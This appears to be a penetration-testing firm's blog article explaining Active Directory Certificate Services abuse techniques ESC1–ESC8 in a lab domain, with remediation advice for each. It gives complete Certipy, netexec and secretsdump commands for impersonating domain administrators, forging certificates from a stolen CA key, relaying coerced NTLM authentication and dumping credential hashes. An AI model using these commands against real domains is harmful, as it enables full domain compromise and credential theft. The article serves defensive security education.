AD CS Security: Understanding and Exploiting ESC Techniques

After presenting the operating principles of Active Directory Certificate Services (AD CS) in a previous article, it is now time to address a more offensive dimension: exploiting vulnerabilities related to this infrastructure.

In 2021, the SpecterOps team published a series of attack scenarios grouped under the name ESC (Enterprise Subordinate CA abuses) techniques.

These scenarios illustrate how an attacker can abuse misconfigured certificate templates to obtain valid certificates and impersonate any user or service in the domain. Under certain conditions, this can even lead to the compromise of highly privileged accounts, such as those of Domain Admins.

The purpose of this article is to explain the main ESC exploitation techniques we encountered during internal penetration testing. We will detail our methodology for auditing an AD CS infrastructure, as well as the main vulnerabilities observed in the field.

For the sake of brevity, we will present techniques ESC1 to ESC8 here. We will also draw on the essential resources produced by Oliver Lyak, developer of the Certipy tool, as well as the series of articles published by the SpecterOps team.

Comprehensive Guide to AD CS Exploitation Techniques

Enumerating an AD CS Infrastructure

As with any security audit, the first step is to perform a comprehensive enumeration.

This phase aims to locate the AD CS servers present in the domain and identify all available certificate templates. The objective is to identify any configuration flaws that could be exploited.

Enumeration tools: Certipy and Certify

Two tools stand out in particular for this task: Certipy, developed in Python, and Certify, written in C#.

Both allow you to query LDAP to retrieve specific information about the certification authorities registered in the domain. This includes details such as the DNS name, authority type, version, and properties of each template.

Certipy provides a comprehensive view of the AD CS infrastructure with a single command:

certipy find -u “$USER” -p “$PASSWORD” -dc-ip “$DC_IP” -vulnerable -enable

The -enable option allows you to focus only on enabled templates, while -vulnerable isolates those whose configuration is known to be exploitable.

Certify, meanwhile, offers an equivalent command:

Certify.exe find /vulnerable

This is the traditional tool for this type of audit, particularly popular in Windows environments.

Although Certipy is now more widely used in Linux-oriented contexts, both tools fulfil the same objectives.

These tools provide a complete map of the AD CS infrastructure: they list the certification authorities in place and the existing templates, and analyse their properties to identify those that could serve as an entry point for an attack.

The analysis covers enrol and autoenrol rights, constraints on the Subject Name field, and the presence of critical extensions such as Key Usage and EKUs (Extended Key Usages).

Integration with BloodHound

The results obtained can also be imported into BloodHound, a graph analysis tool well known to Active Directory pentesters.

This allows AD CS data to be correlated with privilege relationships and access paths within the domain, making the search for compromise paths much more efficient.

Once this enumeration phase is complete, simply examine the generated files to identify potentially vulnerable templates. These will serve as the basis for the advanced exploitation steps to come.

ESC1 – Identity Theft

The first vulnerability we will explore is called ESC1. This is convenient: in our test environment, a certificate template aptly named ‘ESC1’ meets all the requirements to illustrate this exploitation scenario.

Understanding the vulnerability

ESC1 is based on a misconfiguration that allows the certificate requester to define the Subject Name field in their request (CSR) themselves.

This means that a user can specify, at the time of the request, the name of the account for which they wish to obtain an authentication certificate. This behaviour allows them to impersonate another user, or even a domain administrator.

For this attack to be possible, several conditions must be met:

• The user (with minimal privileges if possible) must be able to enrol on the template.
• ‘Manager Approval’ must not be enabled. This feature requires an administrator to manually approve the certificate generation.
• ‘Authorised signatures’ must not be configured.
• Certificate authentication (client) must be enabled (EKU: Client Authentication).
• The template must allow the user to specify a subjectAltName (SAN) in the certificate request (CSR: Certificate Signing Request).

This last point is controlled via the mspki-certificate-name-flag attribute, whose value must include EnrolleeSuppliesSubject.

Checking the requirements

In our example, the ‘ESC1’ template meets all the criteria.

1. Enrolment rights are granted to all users in the domain via the ESSOS.LOCAL\Domain Users group.
2. The EKU field contains Client Authentication, which allows the certificate to be used for authentication.
3. Finally, the Certificate Name Flag property allows the user to define the SAN themselves, which is at the heart of the vulnerability.

An attacker with a basic account in the domain can therefore generate a certificate request specifying an arbitrary UPN (User Principal Name), for example that of the domain administrator.

With Certipy, it is possible to submit a request explicitly targeting this template and requesting a certificate in the name of [email protected].

The command used is as follows:

certipy req -u "$USER@$DOMAIN" -p "$PASS" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca '<CA NAME>' -template 'ESC1' -upn '[email protected]'

Validation and exploitation

Once the certificate has been generated, it can be exported to a .pfx file, which contains both the certificate and the private key.

The certificate can then be extracted using OpenSSL to verify the contents of the SAN field. This step ensures that the spoofed certificate corresponds to the administrator account.

openssl pkcs12 -in administrator.pfx -clcerts -nokeys -out administrator.pem
openssl x509 -in administrator.pem -text -noout

If everything is in order, the attacker then has a valid certificate allowing them to authenticate as the domain administrator.

Certipy then allows this certificate to be used to authenticate, retrieve the NT hash of the administrator account, or perform actions on behalf of the administrator.

certipy auth -pfx administrator.pfx -dc-ip 10.6.10.12

On the AD CS server, issued certificates can be viewed via the certsrv.msc console. By consulting the ‘Issued Certificates’ section, it is possible to view the certificates generated, including the one obtained for exploitation purposes.

The attributes displayed show that the spoofed SAN has been taken into account by the certification authority.

ESC2 – The Swiss Certificate

The ESC2 vulnerability is based on permissive behaviour related to the use of certificates. Specifically, it relies on the fact that a certificate template authorises the issuance of a certificate for any purpose, known as ‘Any Purpose’ use.

When such a certificate is obtained, it can be used not only for authentication, but also for much more sensitive actions such as requesting certificates for other users via the Certificate Request Agent role.

It is the equivalent of a master key: once in the hands of an attacker, this certificate can be used to impersonate any user, including a domain administrator.

Identifying the vulnerable configuration

For a template to be vulnerable to ESC2, several conditions must be met.

1. The user (preferably with low privileges) must be able to submit an enrolment request via this template.
2. The process must not require manual approval by an administrator (Manager Approval).
3. The process must not rely on an authorised signature mechanism (Authorised signatures).
4. Finally, the template must either explicitly contain the Any Purpose EKU or contain no EKU at all, which amounts to the same thing, since the absence of an EKU is interpreted as a general authorisation for use.

In our test environment, the template named ‘ESC2’ meets all these conditions. By analysing it using Certipy, we can see that the Any Purpose EKU is present, which means that the certificate issued can be used for any purpose without restriction.

Obtaining the certificate and initial use

The first step in using this template is to generate a certificate from it.

The following command allows you to do this:

certipy req -u "$USER@$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -template ESC2 -ca <CA NAME>

Once the certificate has been retrieved, it can be inspected to confirm that it does not contain any restrictions on application usage. If it does not specify any explicit EKU fields, it will automatically be interpreted as being usable for all purposes, including acting as a Certificate Request Agent.

As expected, the certificate can be used for any purpose.

Hijacking the Request Agent role

The next step is to use this certificate to request a second certificate in the name of a legitimate user, this time a domain administrator.

Using the Request Agent feature provided by the first certificate, the attacker can issue a new certificate request by impersonating the administrator:

certipy req -u "$USER@$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -template User -ca "$CA-NAME" -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx

Here, the -template User is used to obtain a standard authentication certificate, but in the name of a privileged account.

Thanks to the –on-behalf-of option, the request is made for the user essos\administrator, while the initial certificate, designated by the -pfx option, acts as the delegated authority.

ESC3 – Two Templates for One Compromise

ESC3 relies on a two-step scenario, exploiting two separate certificate templates configured in a complementary manner.

This configuration allows an attacker to bypass certain issuance checks normally applied by AD CS certification authorities.

The exploitation relies on obtaining two certificates in succession: the first to obtain the role of Certificate Request Agent, and the second to use it to generate a certificate in the name of a third-party user.

Analysis of the required templates

The first template must meet the following conditions:

1. A user (with minimal privileges, if possible) must be able to enrol in the template.
2. ‘Authorised signatures’ must not be configured.
3. ‘Manager Approval’ must not be enabled.
4. The template must contain the EKU Certificate Request Agent.

In our target environment, the template named ESC3-CRA perfectly meets these criteria. It therefore allows us to obtain a certificate that acts as an intermediary agent for issuing other certificates.

The second template is the one that will be used to obtain a final authentication certificate, for example in the name of a domain administrator. The latter must meet the following conditions:

1. A user (with few privileges if possible) must be able to register on the template (enrolment).
2. ‘Manager Approval’ must not be enabled.
3. The template schema version is ‘1’ or, if the version is higher than “2”, an issuance condition must be configured with ‘authorised signatures’ (Issuance requirements tab in the certificate properties) for a certificate with the EKU Certificate Request Agent. This last condition is precisely what allows the two templates to be linked in exploitation.

In our case, the ESC3 template fulfils this role. It is configured in version 2, with an issuance requirement linked to a certificate possessing the EKU Certificate Request Agent, which corresponds exactly to the certificate obtained with ESC3-CRA.

The default User template, often used as is in real environments, may also be vulnerable if it is version 1 or incorrectly configured.

Obtaining the agent certificate

The process begins by generating a certificate from the ESC3-CRA template. With Certipy, the following command can be used to initiate this request:

certipy req -u "$USER@$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -template ESC3-CRA -ca <CA-NAME>

Once the certificate has been generated, it is useful to check its contents. Examining the EKUs confirms the presence of OID 1.3.6.1.4.1.311.20.2.1, which corresponds to the Certificate Request Agent property.

This certificate can then be used as an authorised signature to satisfy the conditions of the second template.

Use for identity theft

The second step is to use this agent certificate to request a certificate on behalf of a targeted user, such as a domain administrator. The following command illustrates this exploitation:

certipy req -u "$USER" -p "$PASS" -target "$ADCS_HOST" -template ESC3 -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx esc2.pfx

The template referred to here is ESC3, but the same mechanism also works with a User template if it is version 1.

The -on-behalf-of parameter is used to indicate the impersonated identity, while the -pfx option specifies the agent certificate used as proof of authorisation.

This combination allows the attacker to obtain a perfectly legitimate authentication certificate in the name of an administrator user, without any intervention or alert on the infrastructure side.

ESC4 – With Great Power Comes Great Responsibility

Unlike the previous scenarios, the exploitation of ESC4 does not result from a direct configuration error in a certificate template, but rather from lax management of the permissions associated with it.

When a user has certain elevated privileges on a template, they can freely modify it and, as a result, adapt it to become an exploitation target, in particular by configuring it to allow an ESC1-type attack.

Identifying dangerous privileges

Problematic privileges include:

• full control (Owner),
• write rights on the owner (Write Owner Principals),
• write rights on properties (Write Property Principals),
• or write rights on the access control list (Write DACL Principals).

Anyone with one of these access rights can reconfigure a template as they see fit, transforming it from a harmless object into a potentially critical privilege escalation lever.

BloodHound is particularly effective at detecting this type of configuration. By running a targeted query, you can identify users or groups with write or control rights on active templates.

MATCH p=shortestPath((g)-[:GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner*1..]->(n:GPO)) WHERE  g<>n and n.type = 'Certificate Template' and n.`Enabled` = true RETURN p

In our case, the analysis shows that the user khal.drogo has GenericAll rights on a template named ESC4, which gives them full access to its configuration.

Controlled modification of the template

With this access, an attacker can reconfigure the template to inject vulnerable parameters.

In this case, it involves adding the ability to manually define the subjectAltName field via the mspki-certificate-name-flag property, which is precisely one of the conditions required to execute an ESC1 attack.

To do this, Certipy allows you to dynamically modify a template by applying a vulnerable default configuration to it:

certipy template -u "$USER" -p "$PASS" -template ESC4 -write-default-configuration -dc-ip 10.6.10.12

Once the modification has been made, the ESC4 template can be used in exactly the same way as in the ESC1 scenario.

The attacker can then submit a certificate request impersonating a domain administrator, for example:

certipy req -u "$USER@$DOMAIN" -p "$PASS" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ESSOS-CA' -template 'ESC4' -upn '[email protected]'

Exploitation and best practices

Special attention must be paid to post-exploitation restoration.

During an internal penetration test, it is imperative not to leave any persistent changes. Any alteration to a template must be reversible.

Fortunately, Certipy automatically saves the original configuration of the template before modification. Once the exploitation has been completed, it is therefore possible to restore the template to its initial state using the following command:

certipy template -u "$USER@$DOMAIN" -p "$PASS" -template ESC4 -write-configuration <backup-ESC4-file>.json -dc-ip 10.6.10.12

This scenario illustrates the importance of strict permission control over sensitive Active Directory Certificate Services objects. Administrative rights over templates should only be granted to duly identified and legitimate users or groups, in accordance with the principle of least privilege.

ESC5 – Golden Certificate

The exploitation of ESC5 relies on improper management of ACLs (Access Control Lists) associated with certain sensitive objects related to the PKI infrastructure, located in the Active Directory Configuration naming context.

Unlike ESC4, which targets permissions on certificate templates, or ESC7, which focuses on permissions that directly affect the CA object, ESC5 allows an attacker to manipulate fundamental components of the AD CS ecosystem at a deeper and more comprehensive level.

Handling critical PKI objects

An attacker with elevated privileges on these objects, such as WriteDACL, WriteOwner, WriteProperty, or FullControl, can interfere with several strategic elements of the PKI infrastructure.

• For example, it is possible to modify the contents of the NTAuthCertificates object, which determines which certification authorities are authorised to issue certificates used for Kerberos authentication (via PKINIT). By injecting a certificate from a CA controlled by the attacker, the attacker would be able to produce certificates that are accepted as valid by the entire domain.
• Other manipulations are also possible. For example, an attacker could alter the AIA (Authority Information Access) or CDP (CRL Distribution Point) paths associated with CAs, thereby redirecting distribution points to servers under their control. This could disrupt or compromise the certificate validation process.
• Finally, depending on the configuration, they could also interfere with enrolment policies, OIDs or other parameters related to the PKI organisation.

In practice, this method of exploitation remains rare. The objects concerned are rarely modified, well protected, and it is uncommon for write permissions to be granted to them by mistake.

Direct exploitation of ESC5 via modification of objects in the AD therefore requires a very specific context and is rarely realistic during an audit.

Realistic exploitation via CA server compromise

The simplest and often most realistic approach is to directly compromise the server hosting the certification authority. Local administrator access is sufficient to extract the CA certificate and its private key.

Once these two elements are in hand, an attacker can forge what is known as a Golden Certificate, capable of impersonating any identity in the domain, just like a Golden Ticket in a classic Kerberos attack.

Using Certipy, it is possible to extract the CA’s private key with the following command:

certipy ca -backup -u 'Administrator' -hashes ':ee13d00459ed0456f159ecf784a7b2a7' -ca 'ESSOS-CA' -target <CA-SERVER-IP>

Once the .pfx file has been generated, the attacker can create a forged certificate in the name of any user they choose, including a domain administrator:

certipy forge -ca-pfx ESSOS-CA.pfx -upn [email protected] -crl 'ldap:///'

It is important here to use the -crl option with the value ldap:///, which is a syntactically valid value for the checks performed by the KDC during authentication. If this is not specified, an error is usually raised, preventing the use of the forged certificate.

Identity theft and remediation

Once the certificate has been generated, authentication can be carried out transparently as a domain administrator, without alerts, passwords, or exploiting specific software vulnerabilities. This constitutes a complete breach of trust in the certification infrastructure.

When it comes to remediation, there is no miracle cure for ESC5, other than rigorous management of rights on the CA server itself. Only administrators who absolutely need to should have local access to the certification authority server.

It is also advisable to monitor PKI objects in the Directory Configuration context to detect any inappropriate privilege delegations.

ESC6 – Hijacking the EDITF_ATTRIBUTESUBJECTALTNAME2 Attribute

The ESC6 exploitation scenario relies on a specific configuration of the certification authority (CA) server, namely the activation of the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute.

This attribute modifies the default behaviour of the AD CS server by allowing the inclusion of a Subject Alternative Name (SAN) field in a certificate request, even if the template used does not normally allow it. This bypasses the requirement to configure the mspki-certificate-name-flag property, which is usually necessary for the user to specify a SAN, as illustrated in ESC1.

Impact of the attribute on security

When a CA is configured with EDITF_ATTRIBUTESUBJECTALTNAME2, a user can forge a certificate request containing an arbitrary SAN, regardless of the template used. This means that even a template considered secure, such as the default User template, can become vulnerable to an impersonation attack.

With Certipy, it is easy to check whether the attribute is enabled. In our case, the analysis confirms that the target CA does indeed have this configuration.

This behaviour therefore allows an authenticated user to request a certificate identifying themselves as another account — including an administrator — by specifying a UPN in the SAN field.

A typical exploitation command might look like this:

certipy req -u "$USER@$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -template User -ca ESSOS-CA -upn [email protected] -dc-ip "$DC_IP"

Post-May 2022 restrictions

It is important to note that this vulnerability has been significantly mitigated since the release of the Microsoft patch in May 2022, via security update KB5014754, related to vulnerability CVE-2022-26923, also known as Certifried.

Since this patch, a certificate containing an arbitrary SAN is no longer sufficient to authenticate as is, even if the certificate is valid. It is now necessary to combine this flaw with other exploitation vectors such as ESC9 or ESC16, which allow the additional restrictions introduced with the update to be bypassed.

Recommended remediation for ESC6

To fix or prevent this vulnerability, the first step is to apply the latest Active Directory security updates, including the May 2022 patch.

Next, it is recommended to explicitly disable the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute on the certificate authority server. This can be done using the following command:

certutil –setreg policy\EditFlags –EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc

This operation ensures that adding a SAN to a certificate request will only be permitted if the template explicitly allows it, thereby restoring control at the template level and significantly reducing the attack surface.

ESC7 – An Overly Privileged Manager

ESC7 exploitation does not rely on a misconfigured certificate template, but on excessive rights assigned to a user on the Enterprise CA server itself. This is a higher-level permissions issue that directly affects the management of the certification authority.

The critical right here is ‘Manage CA’, also known as ‘CA Administrator’. It allows the user to modify the configuration of the certification server, enable or disable templates, restart the CA service, add Certificate Officers, and manually approve certificate requests.

In our test environment, the Certipy tool reveals that the user khal.drogo has precisely this privilege on the CA named ESSOS-CA.

Multi-stage exploitation

Since khal.drogo has the necessary privileges, the attack can begin.

The approach involves using the ‘SubCA’ template, which generates a subordinate certificate authority certificate. This type of certificate is extremely powerful because it can be used to sign other certificates for any purpose without being restricted by conventional EKUs. Normally, only domain or enterprise administrators can request this type of certificate.

The attack takes place in several stages.

First, the SubCA template is activated on the server if it is not already activated. Thanks to Certipy, this operation is performed via the command line.

certipy ca -u 'khal.drogo'@"$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -ca "ESSOS-CA" -enable-template 'SubCA' -dc-ip "$DC_IP

Next, we assign our user the role of Certificate Officer, which gives them the power to manually approve requests.

certipy ca -u "khal.drogo"@"$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -dc-ip 10.6.10.12 -ca 'ESSOS-CA' -add-officer "khal.drogo"

Once this role has been acquired, the user can submit a SubCA certificate request by impersonating an administrator. This request will normally fail, as the user does not have the required level of privilege.

Moreover, on Enterprise CA, we can see that the certificate request is indeed refused for this reason:

However, as he is now the Certificate Officer, he will then be able to approve this request manually.

certipy ca -u "khal.drogo"@"$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -dc-ip 10.6.10.12 -ca 'ESSOS-CA' -issue-request '58'

Finally, after approving the request (using their ID), the user can retrieve it and obtain a certificate in the name of a domain administrator.

certipy req -u "khal.drogo"@"$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -template SubCA -ca ESSOS-CA -dc-ip 10.6.10.12 -retrieve '58'

This certificate is valid, signed by the company’s certification authority, and includes the Subject Alternative Name field corresponding to the targeted administrator account.

Security and remediation

This scenario shows how critical it is to limit privileges on the CA server. To fix this vulnerability, it is essential to review the permissions associated with the CA object.

To do this, simply launch the certsrv.msc console on the certification server, then open the authority’s properties from the context menu. In the Security tab, only highly privileged users, such as domain or enterprise administrators, should have Manage CA and Issue and Manage Certificates rights.

The common mistake here is to have delegated these roles to standard user accounts or unrestricted technical groups, thereby paving the way for total compromise through the uncontrolled issuance of certificates.

ESC8 – NTLM Relay on AD CS Web Enrolment

ESC8 is one of the most frequently encountered exploitation scenarios in internal auditing. It presents a particularly high risk because it can be exploited without any domain account, making it a prime target for an external attacker who already has a favourable network position.

The central condition for this attack is the presence of the Enrollment web service enabled on the AD CS server. This service allows a client to submit a certificate request via a web interface, typically accessible via the URL http://<server_name>/certsrv. If this service is enabled and poorly secured, it becomes possible to relay NTLM authentication from another host (such as a domain controller) to the CA server.

Exploitation conditions and attack sequence

For ESC8 to be usable, several elements must be in place.

• The Enrollment web service must be enabled and accessible via HTTP.
• The web server hosting this interface must accept NTLM authentication (which is the default setting).
• The Extended Protection for Authentication (EPA) option must not be enabled, which is also the default setting.
• Finally, it must be possible to force a target system to authenticate with the attacker’s server, which will then relay the NTLM authentication to the AD CS server.

According to the Certipy output, we can see that Web Enrollment is enabled in HTTP on the AD CS.

This is confirmed by navigating to http:///<server_name>/certsrv:

The objective here is therefore to obtain a certificate by impersonating the domain controller. We then target the DomainController template, designed to be used only by DCs, but which can be accessed by hijacking the NTLM authentication relay.

The following command allows you to start a relay via Certipy:

certipy relay -target http://10.6.10.23 -template 'DomainController'

The attacker’s server must then prompt for domain controller authentication. This can be done using netexec and its coerce_plus module, which sends SMB or RPC requests that trigger an automatic connection:

nxc smb <DC-IP> -M coerce_plus -o LISTENER="$ATTACKER_IP"

Once authentication has been relayed to the Enrollment web service, the attacker receives a certificate in the name of the DC.

This certificate can then be used to authenticate and extract the NTDS.dit database, containing the NT hashes of the domain accounts:

certipy auth -pfx domain-controller.pfx -dc-ip 10.6.10.12

secretsdump -just-dc-user administrator -hashes :"<NT_HASH>" "$DOMAIN"/"<DC_NAME>$"@"10.6.10.12"

Of course, it is possible to request any certificate template, as long as the NTLM authentication we relay belongs to an account that has the necessary privileges to request the certificate.

Remediation measures

The best defence against ESC8 is to disable the Web Enrollment service if it is not being used. Removing unnecessary attack surfaces is always the first step.

Next, it is essential to enable Extended Protection for Authentication (EPA), which specifically prevents NTLM authentication relaying. Enabling EPA requires the Web Enrollment service to run over HTTPS. It is therefore imperative to enforce the use of HTTPS, even though this measure alone does not protect against the attack.

Finally, in a mature environment, it is strongly recommended to completely disable NTLM on AD CS servers via the Network Security: Restrict NTLM: Incoming NTLM traffic group policy.

Microsoft has published official documentation to mitigate NTLM relay attacks on AD CS services, available here: KB5005413.

Conclusion

Our audits reveal a recurring finding: AD CS remains one of the most neglected components of Active Directory environments. Too often installed by default and without any real use, it introduces an unnecessary attack surface.

Its danger lies not only in its unjustified presence, but also in the complexity of its configuration. Between certificate templates, issuance policies, EKUs and mapping mechanisms, mastering AD CS remains challenging. For convenience, permissive settings are chosen, opening the door to abuses such as ESC1.

To reduce the risks, several measures are essential: systematically apply security patches (e.g. against Certifried or EKUwu), control the issuance of sensitive certificates through manual validation, restrict enrolment rights, and simply disable the service if it is not used. Hardening strong certificate mapping, enabling Full Enforcement mode, or strictly configuring the CertificateMappingMethods registry key can counter attack scenarios.

It is also advisable to regularly review existing templates, delete obsolete ones, and verify that only legitimate accounts have critical roles (Certificate Manager, Enrolment Agent). Finally, RPC request encryption and Extended Protection for Authentication (EPA) activation must be integrated to limit NTLM relay attacks.

Author: Adrien HOC – Pentester @Vaadata